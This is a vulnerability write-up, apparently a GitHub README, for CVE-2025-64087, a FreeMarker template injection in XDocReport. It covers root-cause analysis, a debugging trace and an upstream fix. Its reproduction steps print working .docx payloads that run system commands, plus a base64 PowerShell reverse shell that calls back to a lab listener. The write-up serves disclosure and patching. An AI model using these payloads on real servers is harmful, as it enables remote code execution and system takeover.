AT190510-Cuong/CVE-2025-64087-SSTI-

GitHub: AT190510-Cuong/CVE-2025-64087-SSTI-

针对 XDocReport 中 FreeMarker 模板引擎 SSTI 漏洞(CVE-2025-64087)的 PoC 代码、利用链分析及修复方案。

Stars: 1 | Forks: 0

# CVE-2025-64087 (SSTI FreeMarker) # XDocReport 中的服务端模板注入 (SSTI) 漏洞允许通过 Apache FreeMarker 引擎远程执行代码 ## 漏洞定义 漏洞概述 - 服务端模板注入 (Server-Side Template Injection, SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到内容管理系统 (CMS) 和 Web 框架使用的模板中,以进行远程攻击、获取敏感信息或进行系统入侵活动。 - SSTI 是注入漏洞 (如 SQL Injection, XSS 等) 的一种变体,黑客利用模板系统部署远程恶意代码。当 SSTI 攻击成功执行时,黑客可以在服务端服务器上执行自己的代码,从而进行远程攻击,例如收集敏感信息、进行系统入侵活动以及访问未授权的资源。 - SSTI 漏洞通常由于使用了不安全的模板系统,或者在将参数插入模板之前未对输入参数进行检查和处理所致。如果 SSTI 攻击成功,后果可能非常严重,并给受攻击的组织造成巨大损失。 商业影响 - SSTI 漏洞可能导致多种严重后果,包括: - 恶意代码执行:攻击者可以利用此漏洞在服务器上执行恶意代码,从而进行数据窃取、在系统上执行非法操作,甚至完全控制服务器。 - 敏感信息泄露:SSTI 可能允许攻击者读取、更改或删除服务器上的文件。如果这些文件包含敏感信息(如账号和密码),攻击者可以轻易泄露这些信息。 - 威胁攻击或用户欺诈:攻击者可以利用 SSTI 进行威胁攻击或用户欺诈,方法是更改网站内容或添加伪造的自定义按钮。如果用户点击这些按钮,攻击者可能会窃取用户信息或在他们的计算机上安装恶意软件。 ## 严重程度: CRITICAL (严重) ![image](https://hackmd.io/_uploads/H13GH9ZZ-l.png) ## 描述与影响 在 OpenSAGRES XDocReport 使用 FreeMarker 引擎处理 DOCX 模板时发现了一个服务端模板注入 (SSTI) 漏洞。在某些配置下,精心构造的模板可能导致远程代码执行 (RCE)。 人力资源管理网站允许用户将 `.docx` 文档文件上传到系统。在处理过程中,应用程序使用模板引擎 FreeMarker (位于 FreemarkerTemplateEngine.java 文件中) 来渲染内容 `${"freemarker.template.utility.Execute"?new()("whoami")}`,而没有控制或过滤输入内容的机制。 此漏洞允许攻击者将恶意表达式插入 .docx 文件 (模板) 中,从而导致服务器上的远程代码执行 (RCE),并可能被利用来窃取信息或控制系统。 ## 受影响组件 fr.opensagres.xdocreport.template.freemarker — XDocReport (版本 1.0.0 至 2.1.0)。 ## 根本原因分析 - 在文件 `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` 中,未检查输入 xdoc 文件的内容。模板内容被直接加载并传递给 process(context, writer, template) 由 FreeMarker 引擎处理,而没有沙箱机制或指令/表达式限制。结果是攻击者可以提供包含恶意 FreeMarker 表达式/命令的模板,导致远程代码执行 (RCE)。 ![image](https://hackmd.io/_uploads/BJln3YE0lg.png) ## 复现步骤 1. 用户上传一个 `.docx` 文件,其内容为以下 payload: ``` ${"freemarker.template.utility.Execute"?new()("calc")} ``` ![image](https://hackmd.io/_uploads/SJ7CPIz0xg.png) 2. 可以看到成功执行并打开了 calc 应用程序 ![image](https://hackmd.io/_uploads/BkaIvIMRle.png) 3. 同样,使用以下 payload 获取系统上正在运行的用户信息: ``` ${"freemarker.template.utility.Execute"?new()("whoami")} ``` ![image](https://hackmd.io/_uploads/SyRbsFzCxe.png) ![image](https://hackmd.io/_uploads/ryImsFGAgg.png) 4. 可以看到经过模板引擎处理的 `.docx` 文件返回了系统数据 ![image](https://hackmd.io/_uploads/SyeNsKfRex.png) 5. 同样使用以下 payload: ``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")} ``` ![image](https://hackmd.io/_uploads/HyS5SgU0eg.png) ![image](https://hackmd.io/_uploads/Bk13HeLAll.png) ![image](https://hackmd.io/_uploads/r1yiHlIAel.png) 6. 将影响升级为 RCE - 监听机是 ip 地址为 `172.26.208.130` 的 wsl ![image](https://hackmd.io/_uploads/SkYCol8Cel.png) - 使用以下 payload 进行利用: ![image](https://hackmd.io/_uploads/HksplZUAeg.png) ``` ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")} ``` ![image](https://hackmd.io/_uploads/H10-3x8Rxe.png) - 让 `.docx` 文件通过 xdocreport 处理 ![image](https://hackmd.io/_uploads/SkAI3lLAxe.png) - 在 wsl 机器上看到返回的 shell ![image](https://hackmd.io/_uploads/BycRhxUAel.png) ## 解决方案 ### 阻止反射执行 (最安全但在构建中报错) - 在文件 `xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java` 中添加以下内容 ![image](https://hackmd.io/_uploads/H1uAaYzRxl.png) ![image](https://hackmd.io/_uploads/BkgyAKfAxe.png) 我的修复方法仍然允许像 `${cuong.name}` 那样正常渲染对象和属性,仅拦截危险的内置函数 - **所有 SSTI payload 均被拦截**: - `${'freemarker.template.utility.Execute'?new()('calc')}` - **被拦截** 由 `ALLOWS_NOTHING_RESOLVER` - `${'java.lang.Runtime'?api.getRuntime()}` - **被拦截** 由 `setAPIBuiltinEnabled(false)` - 所有其他使用 `?new()` 和 `?api` 的 payload 均被拦截 ### 验证输入 #### **1. 主文件 - FreemarkerTemplateEngine.java** **路径:** `template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` **更改:** - ✅ **添加 import:** `java.util.regex.Pattern` ![image](https://hackmd.io/_uploads/HyU01Qv0xx.png) - ✅ **添加方法 `validateTemplateSecurity(Reader reader)`** — 验证危险模式 ![image](https://hackmd.io/_uploads/S1QyeQPRxg.png) - ✅ **更新 `processNoCache()`** — 在创建 Template 之前添加验证 ![image](https://hackmd.io/_uploads/B1wfg7wCex.png) - ✅ **更新 `process(String templateName, …)`** — 向此方法添加验证 ![image](https://hackmd.io/_uploads/Hk1VlmwRxg.png) #### **2. 测试文件 - FreemarkerTemplateEngineSecurityTestCase.java** **路径:** `template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java` **更改:** - ✅ **创建新测试用例** — 测试常见的 SSTI payload - ✅ **测试的主要 payload:** `${"freemarker.template.utility.Execute"?new()("whoami")}` - ✅ **测试的其他模式:** `?new`, `java.lang.Runtime`, `java.lang.ProcessBuilder` 等。 - ✅ **安全模板测试** — 确保正常模板仍然正常工作 #### **更改摘要** | 文件 | 更改类型 | 目的 | | ------------------------------------------------- | -------------- | ---------------------- | | **FreemarkerTemplateEngine.java** | **已修改** | 添加了 SSTI 保护 | | **FreemarkerTemplateEngineSecurityTestCase.java** | **新文件** | 测试验证逻辑 | ### 最终修复 - https://github.com/opensagres/xdocreport/pull/705 ![image](https://hackmd.io/_uploads/SyZDfgl--g.png) ![image](https://hackmd.io/_uploads/BySYMxgZWg.png) 在 `2.2.0` 补丁版本中已启用保护机制并成功阻止 SSTI ![image](https://hackmd.io/_uploads/B15zLD5FWg.png) ## 参考 - https://portswigger.net/web-security/server-side-template-injection ## 调试环境设置 ![image](https://hackmd.io/_uploads/HkUB2FG0xe.png) - 在 Main.java 文件中 ``` package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) { try { // Đọc file đầu vào chứa biểu thức Velocity File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào InputStream input = new FileInputStream(docxTemplate); // Load template sử dụng FreeMarker IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập IContext context = report.createContext(); // Xuất ra file mới OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ Đã tạo file result.docx thành công."); } catch (Exception e) { System.err.println("❌ Lỗi xử lý file:"); e.printStackTrace(); } } } ``` - 需要导入的库 ``` 4.0.0 org.example vcs1 1.0-SNAPSHOT 18 18 UTF-8 fr.opensagres.xdocreport fr.opensagres.xdocreport.template.freemarker 2.1.0 fr.opensagres.xdocreport fr.opensagres.xdocreport.document.docx 2.0.3 ``` A 起点 (entry points / sources) ``` File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); ``` → 主要 source 是这个 DOCX 文件 —— 如果文件由用户上传/写入,其中的模板内容(FreeMarker 语法)即为不可信数据。 ``` InputStream input = new FileInputStream(docxTemplate); ``` → 读取文件内容以传递给 XDocReport。 ``` IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); ``` - loadReport(...) 将解析 (parse) DOCX 文件,查找 DOCX 中的 entry/template 并创建一个 IXDocReport(在其内部将初始化 FreeMarker 的 Template 对象或保留 template 的 reader)。 - DOCX 文件中的模板内容现已位于 report 对象中(尚未执行)。 ![image](https://hackmd.io/_uploads/B1iFlSzAel.png) ![image](https://hackmd.io/_uploads/S1NkWBf0ee.png) zipInputStream.getNextEntry() 遍历 ZIP (.docx) 内的每个 entry(每个文件)。 archive = new XDocArchive(...) — 如果尚无 archive,则初始化一个对象以组织/注册文档的 entry。 ![image](https://hackmd.io/_uploads/HkiIWSfAel.png) 总之:此段代码将 DOCX 内容解压到一个内部结构 (XDocArchive) 中,以便后续可以访问子文件 (document.xml,...) ``` private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind, ITemplateEngine templateEngine, boolean cacheReport ) throws IOException, XDocReportException { initializeIfNeeded(); // 2) zip was loaded, create an instance of report IXDocReport report = createReport( sourceStream ); // 3) Update the report id if need. if ( StringUtils.isEmpty( reportId ) ) { reportId = report.toString(); } report.setId( reportId ); // 4) Search or set the template engine. if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) ) { // Template engine was not forced. // Search template engine String documentKind = report.getKind(); templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind ); if ( templateEngine == null ) { templateEngine = TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null ); } } report.setTemplateEngine( templateEngine ); if ( cacheReport ) { registerReport( report ); } return report; } ``` | 步骤 | 动作 | 目的 | | ---- | -------------------- | ---------------------------------------- | | 1 | 读取 DOCX 文件 | 获取原始报告结构 | | 2 | 创建 `IXDocReport` | 代表模板 | | 3 | 分配 ID | 唯一管理 | | 4 | 选择模板引擎 | 处理表达式 | | 5 | 如需缓存 | 优化性能 | | 6 | 返回 report | 用于渲染结果文件 | ![image](https://hackmd.io/_uploads/B1YuErzAxg.png) 总之,在 `IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);` 处没有 SSTI 检查机制,仅加载 docx 中的 xml 文件并返回已准备好处理的 `IXDocReport report`(例如 render, merge 数据…)。 ![image](https://hackmd.io/_uploads/HJp_HBf0eg.png) 在 `report.process(context, out);` 处 ![image](https://hackmd.io/_uploads/SkOO64M0gg.png) - 这是触发点 (执行 sink):XDocReport 将调用相应的引擎(此处为 FreeMarker)将模板与 context 合并,并将结果渲染到 out。 - 此方法获取之前加载的文档模板(例如 .docx 或 .odt), 然后将来自 context 对象(通常是 IContext)的数据嵌入到模板的变量中。 - 然后将其渲染为完整的文档(包含实际数据)并将结果写入 stream out,即输出到 results.docx 文件。 深入此函数内部,它调用了 `preprocess(...)` 分析 XML,读取每个 XML entry,然后 Parse XML 内容并创建 BufferedDocument,然后写入 Writer(这是经过预处理的 XML 版本)。 ![image](https://hackmd.io/_uploads/HJcywBzRxl.png) ``` public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; } return false; } catch ( SAXException e ) { throw new XDocReportException( e ); } } ``` ![image](https://hackmd.io/_uploads/BJsDqHzRge.png) 之后它进入 `processNoCache()` 并调用 `getReader()` ![image](https://hackmd.io/_uploads/r1gpirG0el.png) ![image](https://hackmd.io/_uploads/H1xE3rfCxl.png) 函数 `getReader()` 用于在整个模板周围添加 escape 指令包装,以确保内容被安全处理(escape HTML,避免 injection)。 ![image](https://hackmd.io/_uploads/HyM8pHzCxe.png) 原始模板: ``` Hello ${name}! ``` 经 getReader() 处理后: ``` [#-- Hello ${name}! [/#escape][#--]]>--] ``` 它帮助 Freemarker 引擎更安全地读取: - 保护 XML:Escape XML 中的特殊字符 - 安全处理:避免 Freemarker 解析模板时出错 然后调用 `FMParser` 解析 Freemarker ![image](https://hackmd/_uploads/SJwnxLfCgg.png) 最后进入 `process()` 调用 `environment.process();` 并读取数据 ``` public void process() throws TemplateException, IOException { Object savedEnv = threadEnv.get(); threadEnv.set(this); try { // Cached values from a previous execution are possibly outdated. clearCachedValues(); try { doAutoImportsAndIncludes(this); visit(getTemplate().getRootTreeNode()); // It's here as we must not flush if there was an exception. if (getAutoFlush()) { out.flush(); } } finally { // It's just to allow the GC to free memory... clearCachedValues(); } } finally { threadEnv.set(savedEnv); } } ``` 👉 这是最重要的一步 —— 真正的渲染发生在此。 - getTemplate() 返回已解析的 template (AST)。 - getRootTreeNode() 是 FMParser 在解析时创建的语法树的根节点。 - visit() 是 FreeMarker 的核心 API,用于遍历和渲染模板的每个元素,并在 freemarker.core.Environment 中定义 - 遇到 TextBlock → 将 text 写入 out。 - 遇到 Interpolation (例如 `${user.name}`) → 在 dataModel 中查找,获取值,写入 out。 - 遇到 #if, #list, #include, macro → 处理相应逻辑 ``` void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! } ``` ![image](https://hackmd.io/_uploads/BJMLCQX0ee.png) ![image](https://hackmd.io/_uploads/SyDi57mAgg.png) ![image](https://hackmd.io/_uploads/SJ6Wo7XRel.png) 它在 entryName `word/document.xml` 处触发 ![image](https://hackmd.io/_uploads/H1axTmmAgx.png) 接着跳入 `accept()` 函数 ![image](https://hackmd.io/_uploads/B1A92I7Rgl.png) ``` TemplateElement[] accept(Environment env) throws TemplateException, IOException { final Object moOrStr = calculateInterpolatedStringOrMarkup(env); final Writer out = env.getOut(); if (moOrStr instanceof String) { final String s = (String) moOrStr; if (autoEscape) { markupOutputFormat.output(s, out); } else { out.write(s); } } else { final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr; final MarkupOutputFormat moOF = mo.getOutputFormat(); // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! if (moOF == outputFormat) { moOF.output(mo, out); } else if (!outputFormat.isOutputFormatMixingAllowed()) { final String srcPlainText; // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic! srcPlainText = moOF.getSourcePlainText(mo); if (srcPlainText == null) { throw new _TemplateModelException(escapedExpression, "The value to print is in ", new _DelayedToString(moOF), " format, which differs from the current output format, ", new _DelayedToString(outputFormat), ". Format conversion wasn't possible."); } if (markupOutputFormat != null) { markupOutputFormat.output(srcPlainText, out); } else { out.write(srcPlainText); } } else if (markupOutputFormat != null) { markupOutputFormat.outputForeign(mo, out); } else { moOF.output(mo, out); } } return null; } ``` ![image](https://hackmd.io/_uploads/ryiU0I7Clx.png) ``` final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } } ``` ![image](https://hackmd.io/_uploads/Hkz_xwQ0ex.png) ![image](https://hackmd.io/_uploads/S1MBxv7Axl.png) ![image](https://hackmd.io/_uploads/S1rf7w7Rxx.png) ![image](https://hackmd.io/_uploads/rk-UQDXRxx.png) ![image](https://hackmd.io/_uploads/HJaI7DXRgg.png) ![image](https://hackmd.io/_uploads/S1QOQD7Rlx.png) ![image](https://hackmd.io/_uploads/SywK7PXRlx.png) ![image](https://hackmd.io/_uploads/BJCqQDX0xe.png) ![image](https://hackmd.io/_uploads/SJ9RmwXCle.png) `visit()` 函数中的执行流程如下 ``` visit(Interpolation) // gọi accept(...) └─ Interpolation.accept(env) └─ calculateInterpolatedStringOrMarkup(env) └─ expression.eval(env) └─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute) └─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây ``` ### 调试总结 ``` [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong `${}` │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 **Kết quả: Server-Side Template Injection (SSTI)** ``` ## 🔍 **可利用的关键点摘要** | 阶段 | 类 | 角色 | 与 SSTI 相关 | | ----------------------- | -------------------- | -------------------- | ------------------------- | | `loadReport()` | `XDocReportRegistry` | 加载模板 | 无输入控制 | | `getReader()` | `TemplateEngine` | 读取模板数据 | 可能包含 payload | | `FMParser` | `freemarker.core` | 解析内容 | `${}` 变量被解析 | | `Environment.process()` | `freemarker.core` | 渲染模板 | 调用 `visit()` 遍历每个 node | | `visit()` / `eval()` | `freemarker.core` | 执行表达式 | **SSTI / RCE 点** | ## 文档 - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
标签:Apache FreeMarker, CISA项目, CVE-2025-64087, FreeMarker, GHAS, Java安全, JS文件枚举, RCE, SSTI, Web安全, XDocReport, 代码执行, 安全漏洞, 数据窃取, 服务端模板注入, 模板引擎, 注入攻击, 漏洞分析, 系统入侵, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 隐私保护